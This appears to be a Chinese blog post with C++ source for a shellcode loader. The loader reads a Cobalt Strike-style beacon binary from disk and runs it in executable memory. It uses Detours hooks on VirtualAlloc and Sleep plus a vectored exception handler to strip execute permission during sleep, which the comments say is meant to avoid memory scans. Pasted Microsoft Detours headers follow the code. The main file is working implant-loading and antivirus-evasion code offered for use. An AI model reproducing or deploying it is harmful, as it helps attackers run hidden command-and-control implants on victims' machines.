ConsoleApplication815项目(直接加载+VEH Hook Load)

news2024/10/5 3:38:49

上线图
在这里插入图片描述
ConsoleApplication815.cpp


#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#pragma comment(lib,"detours.lib")

#pragma warning(disable:4996)


LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;


//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
	Beacon_data_len = dwSize;
	Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
	printf("分配大小:%d", Beacon_data_len);
	printf("分配地址:%llx \n", Beacon_address);
	return Beacon_address;
}

//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
	if (Vir_FLAG)
	{
		VirtualFree(shellcode_addr, 0, MEM_RELEASE);
		Vir_FLAG = false;
	}
	printf("sleep时间:%d\n", dwMilliseconds);
	SetEvent(hEvent);
	OldSleep(dwMilliseconds);
}

void Hook()
{
	DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
	DetourTransactionBegin(); // 开始HOOK
	DetourUpdateThread(GetCurrentThread());  //刷新当前线程
	DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数  NewVirtualAlloc
	DetourAttach((PVOID*)&OldSleep, NewSleep);    //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数  NewSleep
	DetourTransactionCommit(); //  提交HOOK
}

void UnHook()
{
	DetourTransactionBegin();   //恢复原来HOOK
	DetourUpdateThread(GetCurrentThread());   //刷新当前线程
	DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //解除hook
	DetourTransactionCommit();  //提交
}

size_t GetSize(char* szFilePath)
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);  //fseek函数用于重定位流(数据流/文件)上的文件内部位置指针   //SEEK_END代表文件末尾
	size = ftell(f); //获取文件的 当前指针位置 相对于 文件首地址 的偏移字节数
	rewind(f);  //rewind() 函数将文件位置指示符设置为给定文件流的开头
	fclose(f);
	return size;
}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
	unsigned char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);  //
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		printf("Binary file does not exists!\n");
		return 0;
	}
	p = new unsigned char[*size];
	// Read file
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}

BOOL is_Exception(DWORD64 Exception_addr)
{
	if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
	{
		printf("地址符合:%llx\n", Exception_addr);
		return true;
	}
	printf("地址不符合:%llx\n", Exception_addr);
	return false;
}


//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	printf("FirstVectExcepHandler\n");
	printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
	printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
	if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))    //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
	{
		printf("恢复Beacon内存属性\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);  //恢复beacon内存属性
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
	printf("Beacon_set_Memory_attributes启动\n");
	while (true)  
	{
		WaitForSingleObject(hEvent, INFINITE);   //INFINITE表示等待时间无限长,直到收到信号为止
		printf("设置Beacon内存属性不可执行\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);   //内存属性
		ResetEvent(hEvent);     //重置事件对象
	}
	return 0;
}

int main()
{
	//创建事件用来同步线程
	hEvent = CreateEvent(NULL, TRUE, false, NULL);   

	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);   //表示注册一个优先级为 1 的向量化异常处理程序,并将其指向名为 FirstVectExcepHandler 的函数。当发生相应的异常时,被注册的处理程序 FirstVectExcepHandler 将会被调用。
	Hook();
	HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);   //创建线程
	CloseHandle(hThread1);   //关闭句柄



	unsigned char* BinData = NULL;
	size_t size = 0;


	//最后就是读取Beacon.bin加载进内存执行了
	char* szFilePath = "F:\\Tools\\beacon811.bin";    
	BinData = ReadBinaryFile(szFilePath, &size);    //ReadBinaryFile函数能直接读取二进制文件
	shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);    //申请内存空间
	memcpy(shellcode_addr, BinData, size);    //将内存复制进去
	VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);   //修改内存属性
	(*(int(*)()) shellcode_addr)();

	UnHook();


	return 0;
}


//整体思路:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程

detver.h

//
//
//  Common version parameters.
//
//  Microsoft Research Detours Package, Version 3.0 Build_316.
//
//  Copyright (c) Microsoft Corporation.  All rights reserved.
//

#ifndef DETOURS_STRINGIFY
#define DETOURS_STRINGIFY(x)    DETOURS_STRINGIFY_(x)
#define DETOURS_STRINGIFY_(x)    #x
#endif

#define VER_FILEFLAGSMASK   0x3fL
#define VER_FILEFLAGS       0x0L
#define VER_FILEOS          0x00040004L
#define VER_FILETYPE        0x00000002L
#define VER_FILESUBTYPE     0x00000000L

#define VER_DETOURS_BITS    DETOUR_STRINGIFY(DETOURS_BITS)

detours.h

/
//
//  Core Detours Functionality (detours.h of detours.lib)
//
//  Microsoft Research Detours Package, Version 4.0.1
//
//  Copyright (c) Microsoft Corporation.  All rights reserved.
//

#pragma once
#ifndef _DETOURS_H_
#define _DETOURS_H_

#define DETOURS_VERSION     0x4c0c1   // 0xMAJORcMINORcPATCH

//
//

#ifdef DETOURS_INTERNAL

#define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1
#define _ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE 1

#pragma warning(disable:4068) // unknown pragma (suppress)

#if _MSC_VER >= 1900
#pragma warning(push)
#pragma warning(disable:4091) // empty typedef
#endif

// Suppress declspec(dllimport) for the sake of Detours
// users that provide kernel32 functionality themselves.
// This is ok in the mainstream case, it will just cost
// an extra instruction calling some functions, which
// LTCG optimizes away.
//
#define _KERNEL32_ 1
#define _USER32_ 1

#include <windows.h>
#if (_MSC_VER < 1310)
#else
#pragma warning(push)
#if _MSC_VER > 1400
#pragma warning(disable:6102 6103) // /analyze warnings
#endif
#include <strsafe.h>
#include <intsafe.h>
#pragma warning(pop)
#endif
#include <crtdbg.h>

// Allow Detours to cleanly compile with the MingW toolchain.
//
#ifdef __GNUC__
#define __try
#define __except(x) if (0)
#include <strsafe.h>
#include <intsafe.h>
#endif

// From winerror.h, as this error isn't found in some SDKs:
//
// MessageId: ERROR_DYNAMIC_CODE_BLOCKED
//
// MessageText:
//
// The operation was blocked as the process prohibits dynamic code generation.
//
#define ERROR_DYNAMIC_CODE_BLOCKED       1655L

#endif // DETOURS_INTERNAL

//
//

#undef DETOURS_X64
#undef DETOURS_X86
#undef DETOURS_IA64
#undef DETOURS_ARM
#undef DETOURS_ARM64
#undef DETOURS_BITS
#undef DETOURS_32BIT
#undef DETOURS_64BIT

#if defined(_X86_)
#define DETOURS_X86
#define DETOURS_OPTION_BITS 64

#elif defined(_AMD64_)
#define DETOURS_X64
#define DETOURS_OPTION_BITS 32

#elif defined(_IA64_)
#define DETOURS_IA64
#define DETOURS_OPTION_BITS 32

#elif defined(_ARM_)
#define DETOURS_ARM

#elif defined(_ARM64_)
#define DETOURS_ARM64

#else
#error Unknown architecture (x86, amd64, ia64, arm, arm64)
#endif

#ifdef _WIN64
#undef DETOURS_32BIT
#define DETOURS_64BIT 1
#define DETOURS_BITS 64
// If all 64bit kernels can run one and only one 32bit architecture.
//#define DETOURS_OPTION_BITS 32
#else
#define DETOURS_32BIT 1
#undef DETOURS_64BIT
#define DETOURS_BITS 32
// If all 64bit kernels can run one and only one 32bit architecture.
//#define DETOURS_OPTION_BITS 32
#endif

/// Helper Macros.
//
#define DETOURS_STRINGIFY_(x)    #x
#define DETOURS_STRINGIFY(x)    DETOURS_STRINGIFY_(x)

#define VER_DETOURS_BITS    DETOURS_STRINGIFY(DETOURS_BITS)

//
//

#if (_MSC_VER < 1299) && !defined(__MINGW32__)
typedef LONG LONG_PTR;
typedef ULONG ULONG_PTR;
#endif

/ SAL 2.0 Annotations w/o SAL.
//
//  These definitions are include so that Detours will build even if the
//  compiler doesn't have full SAL 2.0 support.
//
#ifndef DETOURS_DONT_REMOVE_SAL_20

#ifdef DETOURS_TEST_REMOVE_SAL_20
#undef _Analysis_assume_
#undef _Benign_race_begin_
#undef _Benign_race_end_
#undef _Field_range_
#undef _Field_size_
#undef _In_
#undef _In_bytecount_
#undef _In_count_
#undef __in_ecount
#undef _In_opt_
#undef _In_opt_bytecount_
#undef _In_opt_count_
#undef _In_opt_z_
#undef _In_range_
#undef _In_reads_
#undef _In_reads_bytes_
#undef _In_reads_opt_
#undef _In_reads_opt_bytes_
#undef _In_reads_or_z_
#undef _In_z_
#undef _Inout_
#undef _Inout_opt_
#undef _Inout_z_count_
#undef _Out_
#undef _Out_opt_
#undef _Out_writes_
#undef _Outptr_result_maybenull_
#undef _Readable_bytes_
#undef _Success_
#undef _Writable_bytes_
#undef _Pre_notnull_
#endif

#if defined(_Deref_out_opt_z_) && !defined(_Outptr_result_maybenull_)
#define _Outptr_result_maybenull_ _Deref_out_opt_z_
#endif

#if defined(_In_count_) && !defined(_In_reads_)
#define _In_reads_(x) _In_count_(x)
#endif

#if defined(_In_opt_count_) && !defined(_In_reads_opt_)
#define _In_reads_opt_(x) _In_opt_count_(x)
#endif

#if defined(_In_opt_bytecount_) && !defined(_In_reads_opt_bytes_)
#define _In_reads_opt_bytes_(x) _In_opt_bytecount_(x)
#endif

#if defined(_In_bytecount_) && !defined(_In_reads_bytes_)
#define _In_reads_bytes_(x) _In_bytecount_(x)
#endif

#ifndef _In_
#define _In_
#endif

#ifndef _In_bytecount_
#define _In_bytecount_(x)
#endif

#ifndef _In_count_
#define _In_count_(x)
#endif

#ifndef __in_ecount
#define __in_ecount(x)
#endif

#ifndef _In_opt_
#define _In_opt_
#endif

#ifndef _In_opt_bytecount_
#define _In_opt_bytecount_(x)
#endif

#ifndef _In_opt_count_
#define _In_opt_count_(x)
#endif

#ifndef _In_opt_z_
#define _In_opt_z_
#endif

#ifndef _In_range_
#define _In_range_(x,y)
#endif

#ifndef _In_reads_
#define _In_reads_(x)
#endif

#ifndef _In_reads_bytes_
#define _In_reads_bytes_(x)
#endif

#ifndef _In_reads_opt_
#define _In_reads_opt_(x)
#endif

#ifndef _In_reads_opt_bytes_
#define _In_reads_opt_bytes_(x)
#endif

#ifndef _In_reads_or_z_
#define _In_reads_or_z_
#endif

#ifndef _In_z_
#define _In_z_
#endif

#ifndef _Inout_
#define _Inout_
#endif

#ifndef _Inout_opt_
#define _Inout_opt_
#endif

#ifndef _Inout_z_count_
#define _Inout_z_count_(x)
#endif

#ifndef _Out_
#define _Out_
#endif

#ifndef _Out_opt_
#define _Out_opt_
#endif

#ifndef _Out_writes_
#define _Out_writes_(x)
#endif

#ifndef _Outptr_result_maybenull_
#define _Outptr_result_maybenull_
#endif

#ifndef _Writable_bytes_
#define _Writable_bytes_(x)
#endif

#ifndef _Readable_bytes_
#define _Readable_bytes_(x)
#endif

#ifndef _Success_
#define _Success_(x)
#endif

#ifndef _Pre_notnull_
#define _Pre_notnull_
#endif

#ifdef DETOURS_INTERNAL

#pragma warning(disable:4615) // unknown warning type (suppress with older compilers)

#ifndef _Benign_race_begin_
#define _Benign_race_begin_
#endif

#ifndef _Benign_race_end_
#define _Benign_race_end_
#endif

#ifndef _Field_size_
#define _Field_size_(x)
#endif

#ifndef _Field_range_
#define _Field_range_(x,y)
#endif

#ifndef _Analysis_assume_
#define _Analysis_assume_(x)
#endif

#endif // DETOURS_INTERNAL
#endif // DETOURS_DONT_REMOVE_SAL_20

//
//
#ifndef GUID_DEFINED
#define GUID_DEFINED
typedef struct  _GUID
{
    DWORD Data1;
    WORD Data2;
    WORD Data3;
    BYTE Data4[8];
} GUID;

#ifdef INITGUID
#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
        const GUID name \
                = { l, w1, w2, { b1, b2,  b3,  b4,  b5,  b6,  b7,  b8 } }
#else
#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
    const GUID name
#endif // INITGUID
#endif // !GUID_DEFINED

#if defined(__cplusplus)
#ifndef _REFGUID_DEFINED
#define _REFGUID_DEFINED
#define REFGUID             const GUID &
#endif // !_REFGUID_DEFINED
#else // !__cplusplus
#ifndef _REFGUID_DEFINED
#define _REFGUID_DEFINED
#define REFGUID             const GUID * const
#endif // !_REFGUID_DEFINED
#endif // !__cplusplus

#ifndef ARRAYSIZE
#define ARRAYSIZE(x)    (sizeof(x)/sizeof(x[0]))
#endif

//
//

#ifdef __cplusplus
extern "C" {
#endif // __cplusplus

    /// Instruction Target Macros.
    //
#define DETOUR_INSTRUCTION_TARGET_NONE          ((PVOID)0)
#define DETOUR_INSTRUCTION_TARGET_DYNAMIC       ((PVOID)(LONG_PTR)-1)
#define DETOUR_SECTION_HEADER_SIGNATURE         0x00727444   // "Dtr\0"

    extern const GUID DETOUR_EXE_RESTORE_GUID;
    extern const GUID DETOUR_EXE_HELPER_GUID;

#define DETOUR_TRAMPOLINE_SIGNATURE             0x21727444  // Dtr!
    typedef struct _DETOUR_TRAMPOLINE DETOUR_TRAMPOLINE, * PDETOUR_TRAMPOLINE;

#ifndef DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS
#define DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS      32
#endif // !DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS

    /// Binary Structures.
    //
#pragma pack(push, 8)
    typedef struct _DETOUR_SECTION_HEADER
    {
        DWORD       cbHeaderSize;
        DWORD       nSignature;
        DWORD       nDataOffset;
        DWORD       cbDataSize;

        DWORD       nOriginalImportVirtualAddress;
        DWORD       nOriginalImportSize;
        DWORD       nOriginalBoundImportVirtualAddress;
        DWORD       nOriginalBoundImportSize;

        DWORD       nOriginalIatVirtualAddress;
        DWORD       nOriginalIatSize;
        DWORD       nOriginalSizeOfImage;
        DWORD       cbPrePE;

        DWORD       nOriginalClrFlags;
        DWORD       reserved1;
        DWORD       reserved2;
        DWORD       reserved3;

        // Followed by cbPrePE bytes of data.
    } DETOUR_SECTION_HEADER, * PDETOUR_SECTION_HEADER;

    typedef struct _DETOUR_SECTION_RECORD
    {
        DWORD       cbBytes;
        DWORD       nReserved;
        GUID        guid;
    } DETOUR_SECTION_RECORD, * PDETOUR_SECTION_RECORD;

    typedef struct _DETOUR_CLR_HEADER
    {
        // Header versioning
        ULONG                   cb;
        USHORT                  MajorRuntimeVersion;
        USHORT                  MinorRuntimeVersion;

        // Symbol table and startup information
        IMAGE_DATA_DIRECTORY    MetaData;
        ULONG                   Flags;

        // Followed by the rest of the IMAGE_COR20_HEADER
    } DETOUR_CLR_HEADER, * PDETOUR_CLR_HEADER;

    typedef struct _DETOUR_EXE_RESTORE
    {
        DWORD               cb;
        DWORD               cbidh;
        DWORD               cbinh;
        DWORD               cbclr;

        PBYTE               pidh;
        PBYTE               pinh;
        PBYTE               pclr;

        IMAGE_DOS_HEADER    idh;
        union {
            IMAGE_NT_HEADERS    inh;        // all environments have this
#ifdef IMAGE_NT_OPTIONAL_HDR32_MAGIC    // some environments do not have this
            IMAGE_NT_HEADERS32  inh32;
#endif
#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this
            IMAGE_NT_HEADERS64  inh64;
#endif
#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this
            BYTE                raw[sizeof(IMAGE_NT_HEADERS64) +
                sizeof(IMAGE_SECTION_HEADER) * DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS];
#else
            BYTE                raw[0x108 + sizeof(IMAGE_SECTION_HEADER) * DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS];
#endif
        };
        DETOUR_CLR_HEADER   clr;

    } DETOUR_EXE_RESTORE, * PDETOUR_EXE_RESTORE;

#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC
    C_ASSERT(sizeof(IMAGE_NT_HEADERS64) == 0x108);
#endif

    // The size can change, but assert for clarity due to the muddying #ifdefs.
#ifdef _WIN64
    C_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x688);
#else
    C_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x678);
#endif

    typedef struct _DETOUR_EXE_HELPER
    {
        DWORD               cb;
        DWORD               pid;
        DWORD               nDlls;
        CHAR                rDlls[4];
    } DETOUR_EXE_HELPER, * PDETOUR_EXE_HELPER;

#pragma pack(pop)

#define DETOUR_SECTION_HEADER_DECLARE(cbSectionSize) \
{ \
      sizeof(DETOUR_SECTION_HEADER),\
      DETOUR_SECTION_HEADER_SIGNATURE,\
      sizeof(DETOUR_SECTION_HEADER),\
      (cbSectionSize),\
      \
      0,\
      0,\
      0,\
      0,\
      \
      0,\
      0,\
      0,\
      0,\
}

    / Binary Typedefs.
    //
    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_BYWAY_CALLBACK)(
        _In_opt_ PVOID pContext,
        _In_opt_ LPCSTR pszFile,
        _Outptr_result_maybenull_ LPCSTR* ppszOutFile);

    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_FILE_CALLBACK)(
        _In_opt_ PVOID pContext,
        _In_ LPCSTR pszOrigFile,
        _In_ LPCSTR pszFile,
        _Outptr_result_maybenull_ LPCSTR* ppszOutFile);

    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_SYMBOL_CALLBACK)(
        _In_opt_ PVOID pContext,
        _In_ ULONG nOrigOrdinal,
        _In_ ULONG nOrdinal,
        _Out_ ULONG* pnOutOrdinal,
        _In_opt_ LPCSTR pszOrigSymbol,
        _In_opt_ LPCSTR pszSymbol,
        _Outptr_result_maybenull_ LPCSTR* ppszOutSymbol);

    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_COMMIT_CALLBACK)(
        _In_opt_ PVOID pContext);

    typedef BOOL(CALLBACK* PF_DETOUR_ENUMERATE_EXPORT_CALLBACK)(_In_opt_ PVOID pContext,
        _In_ ULONG nOrdinal,
        _In_opt_ LPCSTR pszName,
        _In_opt_ PVOID pCode);

    typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FILE_CALLBACK)(_In_opt_ PVOID pContext,
        _In_opt_ HMODULE hModule,
        _In_opt_ LPCSTR pszFile);

    typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FUNC_CALLBACK)(_In_opt_ PVOID pContext,
        _In_ DWORD nOrdinal,
        _In_opt_ LPCSTR pszFunc,
        _In_opt_ PVOID pvFunc);

    // Same as PF_DETOUR_IMPORT_FUNC_CALLBACK but extra indirection on last parameter.
    typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FUNC_CALLBACK_EX)(_In_opt_ PVOID pContext,
        _In_ DWORD nOrdinal,
        _In_opt_ LPCSTR pszFunc,
        _In_opt_ PVOID* ppvFunc);

    typedef VOID* PDETOUR_BINARY;
    typedef VOID* PDETOUR_LOADED_BINARY;

     Transaction APIs.
    //
    LONG WINAPI DetourTransactionBegin(VOID);
    LONG WINAPI DetourTransactionAbort(VOID);
    LONG WINAPI DetourTransactionCommit(VOID);
    LONG WINAPI DetourTransactionCommitEx(_Out_opt_ PVOID** pppFailedPointer);

    LONG WINAPI DetourUpdateThread(_In_ HANDLE hThread);

    LONG WINAPI DetourAttach(_Inout_ PVOID* ppPointer,
        _In_ PVOID pDetour);

    LONG WINAPI DetourAttachEx(_Inout_ PVOID* ppPointer,
        _In_ PVOID pDetour,
        _Out_opt_ PDETOUR_TRAMPOLINE* ppRealTrampoline,
        _Out_opt_ PVOID* ppRealTarget,
        _Out_opt_ PVOID* ppRealDetour);

    LONG WINAPI DetourDetach(_Inout_ PVOID* ppPointer,
        _In_ PVOID pDetour);

    BOOL WINAPI DetourSetIgnoreTooSmall(_In_ BOOL fIgnore);
    BOOL WINAPI DetourSetRetainRegions(_In_ BOOL fRetain);
    PVOID WINAPI DetourSetSystemRegionLowerBound(_In_ PVOID pSystemRegionLowerBound);
    PVOID WINAPI DetourSetSystemRegionUpperBound(_In_ PVOID pSystemRegionUpperBound);

    // Code Functions.
    //
    PVOID WINAPI DetourFindFunction(_In_ LPCSTR pszModule,
        _In_ LPCSTR pszFunction);
    PVOID WINAPI DetourCodeFromPointer(_In_ PVOID pPointer,
        _Out_opt_ PVOID* ppGlobals);
    PVOID WINAPI DetourCopyInstruction(_In_opt_ PVOID pDst,
        _Inout_opt_ PVOID* ppDstPool,
        _In_ PVOID pSrc,
        _Out_opt_ PVOID* ppTarget,
        _Out_opt_ LONG* plExtra);
    BOOL WINAPI DetourSetCodeModule(_In_ HMODULE hModule,
        _In_ BOOL fLimitReferencesToModule);
    PVOID WINAPI DetourAllocateRegionWithinJumpBounds(_In_ LPCVOID pbTarget,
        _Out_ PDWORD pcbAllocatedSize);
    BOOL WINAPI DetourIsFunctionImported(_In_ PBYTE pbCode,
        _In_ PBYTE pbAddress);

    / Loaded Binary Functions.
    //
    HMODULE WINAPI DetourGetContainingModule(_In_ PVOID pvAddr);
    HMODULE WINAPI DetourEnumerateModules(_In_opt_ HMODULE hModuleLast);
    PVOID WINAPI DetourGetEntryPoint(_In_opt_ HMODULE hModule);
    ULONG WINAPI DetourGetModuleSize(_In_opt_ HMODULE hModule);
    BOOL WINAPI DetourEnumerateExports(_In_ HMODULE hModule,
        _In_opt_ PVOID pContext,
        _In_ PF_DETOUR_ENUMERATE_EXPORT_CALLBACK pfExport);
    BOOL WINAPI DetourEnumerateImports(_In_opt_ HMODULE hModule,
        _In_opt_ PVOID pContext,
        _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
        _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK pfImportFunc);

    BOOL WINAPI DetourEnumerateImportsEx(_In_opt_ HMODULE hModule,
        _In_opt_ PVOID pContext,
        _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
        _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK_EX pfImportFuncEx);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourFindPayload(_In_opt_ HMODULE hModule,
            _In_ REFGUID rguid,
            _Out_opt_ DWORD* pcbData);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourFindPayloadEx(_In_ REFGUID rguid,
            _Out_opt_ DWORD* pcbData);

    DWORD WINAPI DetourGetSizeOfPayloads(_In_opt_ HMODULE hModule);

    BOOL WINAPI DetourFreePayload(_In_ PVOID pvData);
    / Persistent Binary Functions.
    //

    PDETOUR_BINARY WINAPI DetourBinaryOpen(_In_ HANDLE hFile);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourBinaryEnumeratePayloads(_In_ PDETOUR_BINARY pBinary,
            _Out_opt_ GUID* pGuid,
            _Out_ DWORD* pcbData,
            _Inout_ DWORD* pnIterator);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourBinaryFindPayload(_In_ PDETOUR_BINARY pBinary,
            _In_ REFGUID rguid,
            _Out_ DWORD* pcbData);

    PVOID WINAPI DetourBinarySetPayload(_In_ PDETOUR_BINARY pBinary,
        _In_ REFGUID rguid,
        _In_reads_opt_(cbData) PVOID pData,
        _In_ DWORD cbData);
    BOOL WINAPI DetourBinaryDeletePayload(_In_ PDETOUR_BINARY pBinary, _In_ REFGUID rguid);
    BOOL WINAPI DetourBinaryPurgePayloads(_In_ PDETOUR_BINARY pBinary);
    BOOL WINAPI DetourBinaryResetImports(_In_ PDETOUR_BINARY pBinary);
    BOOL WINAPI DetourBinaryEditImports(_In_ PDETOUR_BINARY pBinary,
        _In_opt_ PVOID pContext,
        _In_opt_ PF_DETOUR_BINARY_BYWAY_CALLBACK pfByway,
        _In_opt_ PF_DETOUR_BINARY_FILE_CALLBACK pfFile,
        _In_opt_ PF_DETOUR_BINARY_SYMBOL_CALLBACK pfSymbol,
        _In_opt_ PF_DETOUR_BINARY_COMMIT_CALLBACK pfCommit);
    BOOL WINAPI DetourBinaryWrite(_In_ PDETOUR_BINARY pBinary, _In_ HANDLE hFile);
    BOOL WINAPI DetourBinaryClose(_In_ PDETOUR_BINARY pBinary);

    /// Create Process & Load Dll.
    //
    _Success_(return != NULL)
        PVOID WINAPI DetourFindRemotePayload(_In_ HANDLE hProcess,
            _In_ REFGUID rguid,
            _Out_opt_ DWORD* pcbData);

    typedef BOOL(WINAPI* PDETOUR_CREATE_PROCESS_ROUTINEA)(
        _In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation);

    typedef BOOL(WINAPI* PDETOUR_CREATE_PROCESS_ROUTINEW)(
        _In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_ LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation);

    BOOL WINAPI DetourCreateProcessWithDllA(_In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourCreateProcessWithDllW(_In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_ LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourCreateProcessWithDll      DetourCreateProcessWithDllW
#define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEW
#else
#define DetourCreateProcessWithDll      DetourCreateProcessWithDllA
#define PDETOUR_CREATE_PROCESS_ROUTINE  PDETOUR_CREATE_PROCESS_ROUTINEA
